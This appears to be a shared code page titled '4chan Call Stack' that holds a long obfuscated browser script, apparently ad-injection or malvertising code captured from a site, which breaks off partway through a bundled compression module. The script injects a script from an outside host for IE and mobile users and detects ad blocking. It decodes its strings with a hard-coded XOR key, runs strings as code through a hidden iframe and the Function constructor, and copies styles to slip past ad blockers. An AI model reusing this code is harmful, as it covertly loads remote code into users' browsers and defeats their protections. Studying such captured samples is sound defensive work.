Created
May 27, 2017 00:08
4chan Call Stack
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| try { | |
| window['ald'] = true; | |
| var detectWhite = new Image(); | |
| detectWhite.addEventListener('load', function(abarf) { | |
| }); | |
| detectWhite.addEventListener('error', function(b) { | |
| window['ald'] = false; | |
| }); | |
| detectWhite.src = "https://www.google.com/ads/conversion/favicon.ico"; | |
| } catch (e) { | |
| } | |
| (function() { | |
| if (navigator.userAgent.indexOf("FB_IAB") != -1) { | |
| return; | |
| } | |
| function isMobile() { | |
| try { | |
| if (/Android|webOS|iPhone|iPad|iPod|pocket|psp|kindle|avantgo|blazer|midori|Tablet|Palm|maemo|plucker|phone|BlackBerry|symbian|IEMobile|mobile|ZuneWP7|Windows Phone|Opera Mini/i.test(navigator.userAgent)) { | |
| return true; | |
| } | |
| ; | |
| return false; | |
| } catch (e) {} | |
| } | |
| if (-1 != navigator.userAgent.indexOf("MSIE") || -1 != navigator.userAgent.indexOf("Trident") || isMobile()) { | |
| var a = document.createElement("script"); | |
| a.src = "https://xhr.ekansovi.com/ljs?p=1416070001"; | |
| (document.body || document.head || document.documentElement).appendChild(a); | |
| return; | |
| } | |
| /* | |
| snappyjs: | |
| license: MIT | |
| author: Zhipeng Jia | |
| version: 0.5.0 | |
| This header is generated by licensify (https://github.com/twada/licensify) | |
| https://mths.be/punycode v1.4.1 by @mathias */ | |
| window["6876f763"] = new Date; | |
| var m = {}, n = {}, aa; | |
| function ba() { | |
| this.td = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/="; | |
| this.encode = function(a) { | |
| if (-1 < window.btoa.toString().indexOf("native")) | |
| return window.btoa(a); | |
| a = String(a); | |
| for (var c, b, d = 0, e = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=", f = ""; a.charAt(d | 0) || (e = "=", | |
| d % 1); f += e.charAt(63 & c >> 8 - d % 1 * 8)) { | |
| b = a.charCodeAt(d += .75); | |
| if (255 < b) | |
| throw new DOMException("'btoa' failed: The string to be encoded contains characters outside of the Latin1 range."); | |
| c = c << 8 | b | |
| } | |
| return f | |
| } | |
| ; | |
| this.decode = function(a, c, b) { | |
| a = -1 < window.atob.toString().indexOf("native") ? window.atob(a) : this.yd(a); | |
| if (c && "undefined" !== typeof window.TextDecoder) { | |
| c = new Uint8Array(a.length); | |
| for (var d = 0; d < a.length; d++) | |
| c[d] = a.charCodeAt(d); | |
| return (new window.TextDecoder(b)).decode(c) | |
| } | |
| return a | |
| } | |
| ; | |
| this.yd = function(a) { | |
| a = String(a).replace(/=+$/, ""); | |
| if (1 == a.length % 4) | |
| throw new DOMException("'atob' failed: The string to be decoded is not correctly encoded."); | |
| for (var c = 0, b, d, e = 0, f = ""; d = a.charAt(e++); ~d && (b = c % 4 ? 64 * b + d : d, | |
| c++ % 4) ? | |
| f += String.fromCharCode(255 & b >> (-2 * c & 6)) : 0) | |
| d = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=".indexOf(d); | |
| return f | |
| } | |
| } | |
| var ca; | |
| "undefined" !== typeof window.TextEncoder && (ca = function() { | |
| var a = { | |
| Jd: function(a) { | |
| a = new Uint8Array(a); | |
| for (var c = "", d = 0; d < a.length; d++) | |
| c += String.fromCharCode(a[d]); | |
| return btoa(c) | |
| }, | |
| encode: function(c, b) { | |
| return window.btoa ? window.btoa(c) : a.Jd((new window.TextEncoder(b)).encode(c).buffer) | |
| }, | |
| ec: function(a) { | |
| a = atob(a); | |
| for (var c = new Uint8Array(a.length), d = 0; d < a.length; d++) | |
| c[d] = a.charCodeAt(d); | |
| return c.buffer | |
| }, | |
| decode: function(c, b, d) { | |
| var e; | |
| window.atob && (e = window.atob(c)); | |
| b && (e = (new window.TextDecoder(d)).decode(new Uint8Array(a.ec(c)))); | |
| return e | |
| } | |
| }; | |
| return a | |
| }()); | |
| function da() {} | |
| function ea(a) { | |
| var c = m["9cf90424"]; | |
| c.P = []; | |
| c.Ha = 0; | |
| c.ta = 0; | |
| console.error("using old rc4Decode"); | |
| var b = 0, d = 0, e; | |
| for (e = 0; 256 > e; e++) | |
| c.P[e] = e; | |
| for (e = 0; 256 > e; e++) | |
| d = (d + c.P[e] + a.charCodeAt(e % a.length)) % 256, | |
| b = c.P[e], | |
| c.P[e] = c.P[d], | |
| c.P[d] = b; | |
| c.dc = function(a) { | |
| for (var c = "", b = 0; b < a.length; b++) { | |
| this.ta = (this.ta + 1) % 256; | |
| this.Ha = (this.Ha + this.P[this.ta]) % 256; | |
| var d = this.P[this.ta]; | |
| this.P[this.ta] = this.P[this.Ha]; | |
| this.P[this.Ha] = d; | |
| c += String.fromCharCode(a.charCodeAt(b) ^ this.P[(this.P[this.ta] + this.P[this.Ha]) % 256]) | |
| } | |
| return c | |
| } | |
| ; | |
| c.dc(Array(4097).join("0")); | |
| return c.dc("gIlePonVjyjmEpHGmTsFPsEYyxBVkstc") | |
| } | |
| var fa = "object" === typeof JSON ? JSON : { | |
| parse: function(a) { | |
| "" === a && (a = '""'); | |
| m.b0af0ffe.Cb("var p=" + a + ";") | |
| }, | |
| stringify: function(a) { | |
| var c = typeof a; | |
| if ("object" !== c || null === a) | |
| return "string" === c && (a = '"' + a + '"'), | |
| String(a); | |
| var b, d = [], e = a && a.constructor == Array; | |
| for (b in a) { | |
| var f = a[b]; | |
| c = typeof f; | |
| "string" === c ? f = '"' + f + '"' : "object" === c && null !== f && (f = JSON.stringify(f)); | |
| d.push((e ? "" : '"' + b + '":') + String(f)) | |
| } | |
| return (e ? "[" : "{") + String(d) + (e ? "]" : "}") | |
| } | |
| }; | |
| function ga() {} | |
| function ha(a) { | |
| a = new Uint8Array(a); | |
| for (var c = "", b = 0; b < a.length; b++) | |
| c += String.fromCharCode(a[b]); | |
| return btoa(c) | |
| } | |
| function ia(a) { | |
| a = atob(a); | |
| for (var c = new Uint8Array(a.length), b = 0; b < a.length; b++) | |
| c[b] = a.charCodeAt(b); | |
| return c.buffer | |
| } | |
| var ja = { | |
| encode: function(a) { | |
| if (TextEncoder) | |
| return (new TextEncoder("utf-8")).encode(a).buffer; | |
| a = unescape(encodeURIComponent(a)); | |
| for (var c = new Uint8Array(a.length), b = 0; b < a.length; b++) | |
| c[b] = a.charCodeAt(b); | |
| return c.buffer | |
| }, | |
| decode: function(a) { | |
| return TextDecoder ? (new TextDecoder("utf-8")).decode(a) : decodeURIComponent(escape(String.fromCharCode.apply(null , new Uint8Array(a)))) | |
| } | |
| }; | |
| function x(a, c, b) { | |
| var d = "" | |
| , e = m.aafba60f.td.replace("+", "").replace("/", "").replace("=", ""); | |
| b && (e = e.substr(0, 52)); | |
| for (b = 0; b < Math.floor(Math.random() * (c + 1 - a)) + a; b++) | |
| d += e.charAt(Math.floor(Math.random() * e.length)); | |
| return d | |
| } | |
| function ka(a) { | |
| for (var c = 2166136261, b = 0; b < a.length; ++b) | |
| c += (c << 1) + (c << 4) + (c << 7) + (c << 8) + (c << 24), | |
| c ^= a.charCodeAt(b); | |
| return (c >>> 0).toString(16) | |
| } | |
| function z() { | |
| return (new Date).getTime() / 1E3 | |
| } | |
| function F(a) { | |
| return window.hasOwnProperty ? window.hasOwnProperty(a) : a in window | |
| } | |
| function la(a, c, b) { | |
| var d = ""; | |
| var e = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789"; | |
| b && (e = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz"); | |
| for (b = 0; b < Math.floor(Math.random() * (c + 1 - a)) + a; b++) | |
| d += e.charAt(Math.floor(Math.random() * e.length)); | |
| return d | |
| } | |
| ja = { | |
| encode: function(a) { | |
| if (window.TextEncoder) | |
| return (new TextEncoder("utf-8")).encode(a); | |
| a = unescape(encodeURIComponent(a)); | |
| for (var c = new Uint8Array(a.length), b = 0; b < a.length; b++) | |
| c[b] = a.charCodeAt(b); | |
| return c | |
| }, | |
| decode: function(a) { | |
| if (window.TextDecoder) | |
| return (new TextDecoder("utf-8")).decode(a); | |
| a = new Uint8Array(a); | |
| for (var c = "", b = 0; b < a.length; b++) | |
| c += String.fromCharCode(a[b]); | |
| return decodeURIComponent(escape(c)) | |
| } | |
| }; | |
| function ma() { | |
| function a(a, c, e) { | |
| try { | |
| if (!c) | |
| return {}; | |
| var f = b(a); | |
| f.document.write("a"); | |
| try { | |
| f[J("FD0DFQ==")]() | |
| } catch (C) {} | |
| var g = f.Object, q = f.hasOwnProperty, k = g(), l; | |
| for (l in c) | |
| if (q.call(c, l)) { | |
| var h = c[l] | |
| , p = f[J("Aj8NCQ==")](l); | |
| void 0 !== h.bind && (p = p.bind(h.bind)); | |
| k[h.name] = p | |
| } | |
| a.removeAttribute(J("FCgCATIAFg==")); | |
| d(f) && e && a.parentElement && a.parentElement.removeChild(a); | |
| return k | |
| } catch (C) { | |
| return {} | |
| } | |
| } | |
| function c() { | |
| var a = document.createElement(J("Di8eBD0K")); | |
| a.style.display = "none"; | |
| a.style.width = J("VjkU"); | |
| a.style.height = | |
| J("VjkU"); | |
| a[J("FDsPAT8M")] = "a"; | |
| (document.body || document.head || document.documentElement).appendChild(a); | |
| var c = b(a); | |
| c[J("BCEeCj0K")] && c[J("BCEeCj0K")][J("ECwOFiQAHDM=")] || c[J("CDke")] && c[J("CDke")][J("Bi0ICj4c")] || c[J("CDkJFzE=")] || a.setAttribute(J("FCgCATIAFg=="), J("BiUACidCHTcHHEcCNxkvLgM=")); | |
| return a | |
| } | |
| function b(a) { | |
| var c = J("BCYCETUBGhIFGh8AIB48") | |
| , b = J("AywKBCUDGgADHB0=") | |
| , d = J("BCYCETUBGgEDFw4CMg=="); | |
| return a[c] ? a[c][b] || a[d] : a[d] | |
| } | |
| function d(a) { | |
| return "undefined" !== typeof a[J("LicfETEDAgIYEA0KIAI=")] | |
| } | |
| var e = J("ECACAT8YQAEPGzkCJhstMw==") | |
| , f = J("ECACAT8YQAQ+OjoIIAILKAM6FiUkGio3WQQ+dhwaGgcIPkISNQ0FPx4rPi4VFS01LjsdKDUQMTAWFmIqF1MDCgktAxJ+AgEsOC0pPSAVOgQCOh0jMwcsNhdYPipLBB0NAyYbSz0cPAIpKQ8INzMnKQMxEDI5HCs=") | |
| , g = J("ECACAT8YQAQ+OjkINgMhKAMQFjUzASwpDREtOEsPCEMQIAIBPxhAIQ8bAQQxIhwEPjEANTkcKx0cCyEkAgMACggnTBksTxk/BB0FGmsdJz0/ADAVNQA2MBYWBjMYEAYKFz0FCj5PEipKDgMDIR8/aQAnIRITICAqChEtOC8WBwAVIBwROQAA") | |
| , k = J("ECACAT8YQAQ+OiMOIDMpKQk9FyckFmUlBVg1PwUXGxRJPgkHOwYaBD46Iw4gMykpCT0XJyQWZSUFWDU/BRcbFEkkAx8COy0fCRwpDCsUISMMIBZmLA9lLhAWJjkcXRkQNR0vLDMKLTcEHQMJJAQt") | |
| , | |
| h = c() | |
| , p = null | |
| , l = {}; | |
| l[f] = { | |
| bind: void 0, | |
| name: J("NR0vNTUKHBUFFwQIJgQhKAM=") | |
| }; | |
| l[g] = { | |
| bind: void 0, | |
| name: J("NR0vNjUcHT8FFy4INhM6Lh0gGik+") | |
| }; | |
| l[k] = { | |
| bind: void 0, | |
| name: J("NR0vLDMKLTcEHQMJJAQt") | |
| }; | |
| f = { | |
| bind: void 0, | |
| name: J("MCwONj8MBTMe") | |
| }; | |
| p = {}; | |
| d(b(h)) ? (p = {}, | |
| p[e] = f, | |
| e = c(), | |
| p = a(e, p, !0)) : l[e] = f; | |
| var h = a(h, l, !1), t; | |
| for (t in p) | |
| p.hasOwnProperty(t) && (h[t] = p[t]); | |
| return h | |
| } | |
| var na = new function(a) { | |
| this.zc = []; | |
| this.Ac = 256; | |
| for (var c = 0; c < this.Ac; c++) | |
| this.zc[c] = a.charCodeAt(c % a.length); | |
| this.Be = function(a) { | |
| for (var c = "", b = 0; b < a.length; b++) | |
| c += String.fromCharCode(a.charCodeAt(b) ^ this.zc[b % this.Ac]); | |
| return c | |
| } | |
| } | |
| ("gIlePonVjyjmEpHGmTsFPsEYyxBVkstc"); | |
| function J(a, c) { | |
| !1 !== c && (a = atob(a)); | |
| return na.Be(a) | |
| } | |
| "undefined" === typeof String.prototype.contains && (String.prototype.contains = function(a) { | |
| return -1 != this.indexOf(a) | |
| } | |
| ); | |
| function oa(a, c) { | |
| var b = document.createElement("a"); | |
| b.href = ""; | |
| var d = b.protocol + "//" + b.hostname | |
| , e = b.protocol | |
| , b = b.protocol + "//" + b.hostname + b.pathname.replace(b.pathname.split("/")[b.pathname.split("/").length - 1], ""); | |
| c && (b = document.createElement("a"), | |
| b.setAttribute("href", c), | |
| d = b.protocol + "//" + b.hostname, | |
| e = b.protocol, | |
| b = d + b.pathname.replace(b.pathname.split("/")[b.pathname.split("/").length - 1], "")); | |
| 0 == a.indexOf("/") && 0 != a.indexOf("//") ? a = d + "/" + a : 0 == a.indexOf("./") ? a = d + "/" + a.substr(1) : -1 == a.indexOf("//") ? | |
| a = b + a : 0 == a.indexOf("//") && (a = e + a); | |
| return a = a.replace(/ /g, "%20").replace(/\n/g, "").replace(/%0A/g, "") | |
| } | |
| function pa(a, c) { | |
| function b(c) { | |
| K(m["10785708"], a, "display", c, !0) | |
| } | |
| try { | |
| var d = function(e) { | |
| a.contentWindow.timeout = a.contentWindow.timeout ? a.contentWindow.timeout + 1 : 1; | |
| if (4 < a.contentWindow.timeout) | |
| c([0, 0]); | |
| else { | |
| var f = a.contentWindow; | |
| try { | |
| try { | |
| if (e) | |
| var g = e; | |
| else | |
| a: { | |
| for (var k = a.contentDocument.body.getElementsByTagName("*"), h = [], p = k.length; p--; ) | |
| 1 == k[p].nodeType && h.unshift(k[p]); | |
| for (var p = k = 0, l = !1, t = a.frDisplay || window.getComputedStyle(a).display, u = 0; u < h.length; u++) { | |
| b("block"); | |
| var q = h[u] | |
| , v = a.contentWindow.getComputedStyle(q); | |
| if (!v) { | |
| b("none"); | |
| g = void 0; | |
| break a | |
| } | |
| var r = v.position | |
| , B = v.display | |
| , E = q.offsetHeight | |
| , H = q.offsetWidth; | |
| q.style.position = "absolute"; | |
| q.style.display = "none"; | |
| var v = window.getComputedStyle(q) | |
| , w = parseInt(E) || parseInt(v.height) || 0 | |
| , A = parseInt(H) || parseInt(v.width) || 0; | |
| if (-1 == v.height.indexOf("%") && w >= parseInt(k) && -1 == v.width.indexOf("%") && A >= parseInt(p) || -1 == v.width.indexOf("%") && A > parseInt(p) && 1 == l || -1 == v.height.indexOf("%") && w > parseInt(k) && 1 == l || -1 == v.width.indexOf("%") && -1 == v.height.indexOf("%") && 90 < parseInt(v.height) && | |
| 90 < parseInt(v.width) && 1 == l) | |
| k = w, | |
| p = A, | |
| l = -1 < q.style.height.indexOf("%") || -1 < q.style.width.indexOf("%") ? !0 : !1; | |
| else if ((-1 < v.height.indexOf("%") || -1 < v.width.indexOf("%")) && 0 == k && 0 == p && ("auto" != v.height && "auto" != v.width || "auto" == v.height && -1 < v.width.indexOf("%"))) { | |
| try { | |
| q.style.display = B, | |
| b("block"), | |
| k = w, | |
| p = A, | |
| b("none"), | |
| q.style.display = "none" | |
| } catch (y) {} | |
| l = !0 | |
| } | |
| q.style.position = r; | |
| q.style.display = B | |
| } | |
| try { | |
| b(t) | |
| } catch (y) { | |
| b("none") | |
| } | |
| g = [p, k] | |
| } | |
| (e = g) && 2 == e.length && 85 < e[1] && 100 > e[1] && (e[1] = 90) | |
| } catch (y) { | |
| setTimeout(d, 2E3); | |
| return | |
| } | |
| e && | |
| 2 == e.length && (f.frameElement ? 20 > e[0] && 20 > e[1] ? (b("none"), | |
| f.frameElement.__upclose = !0, | |
| f.frameElement.__upbig = !0, | |
| setTimeout(d, 2E3)) : (b(a.frDisplay || window.getComputedStyle(a).display), | |
| f.frameElement.__upclose = !1, | |
| f.frameElement.__upbig = !1, | |
| c(e)) : c(e)) | |
| } catch (y) {} | |
| } | |
| } | |
| ; | |
| a.pa && a.qa ? d([a.qa, a.pa]) : setTimeout(d, 2E3) | |
| } catch (e) {} | |
| } | |
| function qa() { | |
| this.fb = window[J("CyYPBDw8GjkYGA0I")]; | |
| this.hb = window[J("FCwfFjkAAAUeFhgMIhU=")] | |
| } | |
| Array.prototype.indexOf = Array.prototype.indexOf ? Array.prototype.indexOf : function(a, c) { | |
| for (var b = c || 0, d = this.length; b < d; b++) | |
| if (this[b] === a) | |
| return b; | |
| return -1 | |
| } | |
| ; | |
| Function.prototype.N = Function.prototype.bind ? Function.prototype.bind : function(a) { | |
| function c() { | |
| return g.apply(this instanceof b ? this : a, f.concat(Array.prototype.slice.call(arguments))) | |
| } | |
| function b() {} | |
| if ("function" !== typeof this) | |
| return !1; | |
| for (var d = Array(arguments.length), e = 0; e < d.length; ++e) | |
| d[e] = arguments[e]; | |
| var f = Array.prototype.slice.call(d, 1) | |
| , g = this; | |
| this.prototype && (b.prototype = this.prototype); | |
| c.prototype = new b; | |
| return c | |
| } | |
| ; | |
| function ra(a) { | |
| if (null === a || "object" !== typeof a) | |
| return a; | |
| var c = a.constructor(), b; | |
| for (b in a) | |
| a.hasOwnProperty(b) && (c[b] = a[b]); | |
| return c | |
| } | |
| qa.prototype.Cb = function(a, c) { | |
| for (var b = Array(arguments.length), d = 0; d < b.length; ++d) | |
| b[d] = arguments[d]; | |
| return ""[J("BCYCFiQdGzUeFhg=")][J("BCYCFiQdGzUeFhg=")](J("FSwYECIBTg==") + a).apply(c ? c : null , Array.prototype.slice.call(b, 2)) | |
| } | |
| ; | |
| function sa(a) { | |
| return window.hasOwnProperty ? window.hasOwnProperty(a) : a in window | |
| } | |
| function L(a, c, b, d) { | |
| a.addEventListener && a.addEventListener(c, b, d); | |
| a.attachEvent && (a.attachEvent(c, b), | |
| a.attachEvent("on" + c, b), | |
| a[c] = b, | |
| a["on" + c] = b); | |
| a.addEventListener || a.attachEvent || (a[c] = b, | |
| a["on" + c] = b) | |
| } | |
| function ta(a, c) { | |
| a.apply(null , c) | |
| } | |
| function ua() { | |
| var a = m.b0af0ffe | |
| , c = {}; | |
| try { | |
| if (!a.hb) | |
| return {}; | |
| for (var b in a.hb) | |
| a.hb.hasOwnProperty(b) && (c[b] = a.hb[b]); | |
| return c | |
| } catch (d) { | |
| return c | |
| } | |
| } | |
| function va() { | |
| var a = m.b0af0ffe | |
| , c = {}; | |
| try { | |
| if (!a.fb) | |
| return {}; | |
| for (var b in a.fb) | |
| a.fb.hasOwnProperty(b) && (c[b] = a.fb[b]); | |
| return c | |
| } catch (d) { | |
| return c | |
| } | |
| } | |
| function wa() { | |
| this.ia = {}; | |
| window.globalStyleElement = document.createElement("style"); | |
| (document.head || document.documentElement).appendChild(window.globalStyleElement) | |
| } | |
| function K(a, c, b, d, e, f) { | |
| if (!c["1d2fd708"] && d) | |
| if (c.ourClass && window.globalStyleElement) { | |
| a = a.ia; | |
| a["[" + c.ourClass + "]"] || (a["[" + c.ourClass + "]"] = {}); | |
| a["[" + c.ourClass + "]"][b] = d + (e ? "!important" : ""); | |
| c = ""; | |
| for (var g in a) { | |
| c += g + " {\n"; | |
| for (var k in a[g]) | |
| c += "\t" + k + ":" + a[g][k] + ";\n"; | |
| c += "}\n" | |
| } | |
| window.globalStyleElement.textContent = c | |
| } else { | |
| f || (f = !1); | |
| e || (e = null ); | |
| try { | |
| f ? c.style._setProperty(b, d, e) : c.style.setProperty(b, d, e) | |
| } catch (h) { | |
| c.style.cssText += ";" + b + ":" + d + (e ? " !" + e : "") | |
| } | |
| } | |
| } | |
| function xa(a, c) { | |
| function b(c) { | |
| if (!(void 0 !== c && -1 < a.ub.toString().indexOf(c.id))) | |
| if ("loading" === document.readyState) | |
| window.setTimeout(function() { | |
| b(c) | |
| }, 500); | |
| else if ("complete" === document.readyState || "interactive" === document.readyState) | |
| for (; 0 !== a.Wa.length; ) { | |
| var d = a.Wa.shift(); | |
| void 0 !== d && (a.ub.push(d.id), | |
| d()) | |
| } | |
| } | |
| void 0 === a.Wa && (a.Wa = []); | |
| a.ub || (a.ub = []); | |
| c && (c.id = x(5, 7)); | |
| a.Wa.push(c); | |
| if ("complete" === document.readyState || "interactive" === document.readyState) | |
| b(c); | |
| else { | |
| L(document, "DOMContentLoaded", function() { | |
| b(c) | |
| }, | |
| !1); | |
| if (void 0 !== document.attachEvent) { | |
| if (void 0 !== document.documentElement.doScroll && window.top === window) { | |
| var d = function() { | |
| if (void 0 !== window.document.body) | |
| try { | |
| document.documentElement.doScroll("left"), | |
| b(c) | |
| } catch (e) { | |
| setTimeout(d, 0) | |
| } | |
| } | |
| ; | |
| d() | |
| } | |
| L(document, "onreadystatechange", function() { | |
| "complete" !== document.readyState && "interactive" !== document.readyState || b(c) | |
| }, !1) | |
| } | |
| L(document, "load", b, !1) | |
| } | |
| } | |
| function ya(a, c, b) { | |
| var d = m["10785708"] | |
| , e = ["cssText", "length", "visibility", "box-sizing", "-moz-binding"] | |
| , f = {}; | |
| var g = window.getComputedStyle(a, null ); | |
| var k = window.getComputedStyle(c, null ); | |
| var h = document.documentElement.appendChild(document.createElement(a.tagName)); | |
| var p = window.getComputedStyle(h); | |
| K(d, a, "display", "none", "important"); | |
| var l = a.style; | |
| for (u in g) | |
| if (g.hasOwnProperty(u) && !(-1 < e.indexOf(g[u]) || isNaN(parseInt(u)) || u != u.toLowerCase() || g[g[u]] == p[p[u]] || "width" === g[u] && "0px" === g[g[u]] || "height" === | |
| g[u] && "0px" === g[g[u]] || -1 < a.nodeName.indexOf("FRAME") && "border" === g[u])) { | |
| var t = g[g[u]]; | |
| if (t != k[k[u]] && ("0" != t || "opacity" != g[u])) | |
| if ("" !== l[g[u]]) { | |
| if (52 != u || "none" != l[g[u]]) | |
| c.style[g[u]] = l[g[u]] | |
| } else | |
| f[g[u]] = t | |
| } | |
| "hidden" === f.visibility && (f.visibility = "visible"); | |
| if (0 != Object.keys(f).length) { | |
| a = x(10, 10, !0); | |
| c.ourClass ? a = c.ourClass : (c.ourClass = a, | |
| c.setAttribute(a, "")); | |
| d.ia["[" + a + "]"] || (d.ia["[" + a + "]"] = {}); | |
| for (var u in f) | |
| f.hasOwnProperty(u) && (d.ia["[" + a + "]"][u] = f[u]); | |
| c = ""; | |
| for (var q in d.ia) { | |
| c += q + " {\n"; | |
| for (var v in d.ia[q]) | |
| c += | |
| "\t" + v + ":" + d.ia[q][v] + ";\n"; | |
| c += "}\n" | |
| } | |
| window.globalStyleElement.textContent = c | |
| } | |
| document.documentElement.removeChild(h); | |
| b() | |
| } | |
| function za(a) { | |
| var c = window.getComputedStyle(a); | |
| if ("none" === c.display || "hidden" === c.visibility || 0 == c.opacity || 0 == a.offsetHeight && 0 == a.offsetWidth) | |
| return !1; | |
| try { | |
| if (c.MozBinding && "none" !== c.MozBinding && "" !== c.MozBinding) | |
| return !1 | |
| } catch (b) {} | |
| return !0 | |
| } | |
| (function Aa(c, b, d) { | |
| function e(g, h) { | |
| if (!b[g]) { | |
| if (!c[g]) { | |
| var k = "function" == typeof require && require; | |
| if (!h && k) | |
| return k(g, !0); | |
| if (f) | |
| return f(g, !0); | |
| k = Error("Cannot find module '" + g + "'"); | |
| throw k.code = "MODULE_NOT_FOUND", | |
| k; | |
| } | |
| k = b[g] = { | |
| T: {} | |
| }; | |
| c[g][0].call(k.T, function(b) { | |
| var d = c[g][1][b]; | |
| return e(d ? d : b) | |
| }, k, k.T, Aa, c, b, d) | |
| } | |
| return b[g].T | |
| } | |
| for (var f = "function" == typeof require && require, g = 0; g < d.length; g++) | |
| e(d[g]); | |
| return e | |
| })({ | |
| 1: [function(a) { | |
| var c = window.Nb || {}; | |
| c.Ib = a("./index").Ib; | |
| c.cc = a("./index").cc; | |
| window.Nb = c | |
| } | |
| , { | |
| "./index": 2 | |
| }], | |
| 2: [function(a, c, b) { | |
| function d(a) { | |
| return a instanceof Uint8Array && (!e || !Buffer.isBuffer(a)) | |
| } | |
| var e = "object" === typeof process && "object" === typeof process.Re && "undefined" !== typeof process.Re.node ? !0 : !1 | |
| , f = a("./snappy_decompressor").ad | |
| , g = a("./snappy_compressor").$c; | |
| b.Ib = function(a) { | |
| if (!(d(a) || a instanceof ArrayBuffer || e && Buffer.isBuffer(a))) | |
| throw new TypeError("Argument compressed must be type of ArrayBuffer, Buffer, or Uint8Array"); | |
| var c = !1 | |
| , b = !1; | |
| d(a) ? c = !0 : a instanceof ArrayBuffer && (b = !0, | |
| a = new Uint8Array(a)); | |
| a = new f(a); | |
| var g = a.ve(); | |
| if (-1 === g) | |
| throw Error("Invalid Snappy bitstream"); | |
| if (c) { | |
| if (c = new Uint8Array(g), | |
| !a.Jb(c)) | |
| throw Error("Invalid Snappy bitstream"); | |
| } else if (b) { | |
| if (c = new ArrayBuffer(g), | |
| b = new Uint8Array(c), | |
| !a.Jb(b)) | |
| throw Error("Invalid Snappy bitstream"); | |
| } else if (c = new Buffer(g), | |
| !a.Jb(c)) | |
| throw Error("Invalid Snappy bitstream"); | |
| return c | |
| } | |
| ; | |
| b.cc = function(a) { | |
| if (!(d(a) || a instanceof ArrayBuffer || e && Buffer.isBuffer(a))) | |
| throw new TypeError("Argument compressed must be type of ArrayBuffer, Buffer, or Uint8Array"); | |
| var c = !1 | |
| , b = !1; | |
| d(f) ? c = !0 : a instanceof ArrayBuffer && (b = !0, | |
| a = new Uint8Array(a)); | |
| a = new g(a); | |
| var f = a.ie(); | |
| if (c) { | |
| var f = new Uint8Array(f); | |
| c = a.rb(f) | |
| } else | |
| b ? (f = new ArrayBuffer(f), | |
| c = new Uint8Array(f), | |
| c = a.rb(c)) : (f = new Buffer(f), | |
| c = a.rb(f)); | |
| return f.slice(0, c) | |
| } | |
| } | |
| , { | |
| "./snappy_compressor": 3, | |
| "./snappy_decompressor": 4 | |
| }], | |
| 3: [function(a, c, b) { | |
| function d(a, c) { | |
| return a[c] + (a[c + 1] << 8) + (a[c + 2] << 16) + (a[c + 3] << 24) | |
| } | |
| function e(a, c, b) { | |
| return a[c] === a[b] && a[c + 1] === a[b + 1] && a[c + 2] === a[b + 2] && a[c + 3] === a[b + 3] | |
| } | |
| function f(a, c, b, d, e) { | |
| 60 >= | |
| b ? (d[e] = b - 1 << 2, | |
| e += 1) : 256 > b ? (d[e] = 240, | |
| d[e + 1] = b - 1, | |
| e += 2) : (d[e] = 244, | |
| d[e + 1] = b - 1 & 255, | |
| d[e + 2] = b - 1 >>> 8, | |
| e += 3); | |
| var f = e, g; | |
| for (g = 0; g < b; g++) | |
| d[f + g] = a[c + g]; | |
| return e + b | |
| } | |
| function g(a, c, b, d) { | |
| if (12 > d && 2048 > b) | |
| return a[c] = 1 + (d - 4 << 2) + (b >>> 8 << 5), | |
| a[c + 1] = b & 255, | |
| c + 2; | |
| a[c] = 2 + (d - 1 << 2); | |
| a[c + 1] = b & 255; | |
| a[c + 2] = b >>> 8; | |
| return c + 3 | |
| } | |
| function k(a) { | |
| this.ra = a | |
| } | |
| var h = Array(15); | |
| k.prototype.ie = function() { | |
| var a = this.ra.length; | |
| return 32 + a + Math.floor(a / 6) | |
| } | |
| ; | |
| k.prototype.rb = function(a) { | |
| var c = this.ra, b = c.length, k = 0, q; | |
| var p = b; | |
| var r = 0; | |
| do | |
| a[r] = p & 127, | |
| p >>>= 7, | |
| 0 < p && (a[r] += 128), | |
| r += 1; | |
| while (0 < p);for (q = r; k < b; ) { | |
| p = Math.min(b - k, 65536); | |
| var B = void 0; | |
| var E, H, r = c, w = k; | |
| var A = p; | |
| for (var y = a, C = q, D = 1; 1 << D <= A && 14 >= D; ) | |
| D += 1; | |
| --D; | |
| q = 32 - D; | |
| "undefined" === typeof h[D] && (h[D] = new Uint16Array(1 << D)); | |
| D = h[D]; | |
| for (H = 0; H < D.length; H++) | |
| D[H] = 0; | |
| H = w + A; | |
| var N = w; | |
| var G = w; | |
| var X = !0; | |
| if (15 <= A) | |
| for (A = H - 15, | |
| w += 1, | |
| E = 506832829 * d(r, w) >>> q; X; ) { | |
| var I = 32; | |
| var P = w; | |
| do { | |
| w = P; | |
| var T = E; | |
| P = I >>> 5; | |
| I += 1; | |
| P = w + P; | |
| if (w > A) { | |
| X = !1; | |
| break | |
| } | |
| E = 506832829 * d(r, P) >>> q; | |
| B = N + D[T]; | |
| D[T] = w - N | |
| } while (!e(r, w, B));if (!X) | |
| break; | |
| C = f(r, G, w - G, y, C); | |
| do { | |
| I = w; | |
| for (G = | |
| 4; w + G < H && r[w + G] === r[B + G]; ) | |
| G += 1; | |
| w += G; | |
| T = I - B; | |
| for (I = y; 68 <= G; ) | |
| C = g(I, C, T, 64), | |
| G -= 64; | |
| 64 < G && (C = g(I, C, T, 60), | |
| G -= 60); | |
| C = g(I, C, T, G); | |
| G = w; | |
| if (w >= A) { | |
| X = !1; | |
| break | |
| } | |
| B = 506832829 * d(r, w - 1) >>> q; | |
| D[B] = w - 1 - N; | |
| I = 506832829 * d(r, w) >>> q; | |
| B = N + D[I]; | |
| D[I] = w - N | |
| } while (e(r, w, B));if (!X) | |
| break; | |
| w += 1; | |
| E = 506832829 * d(r, w) >>> q | |
| } | |
| G < H && (C = f(r, G, H - G, y, C)); | |
| q = C; | |
| k += p | |
| } | |
| return q | |
| } | |
| ; | |
| b.$c = k | |
| } | |
| , {}], | |
| 4: [function(a, c, b) { | |
| function d(a) { | |
| this.ra = a; | |
| this.Ma = 0 | |
| } | |
| var e = [0, 255, 65535, 16777215, 4294967295]; | |
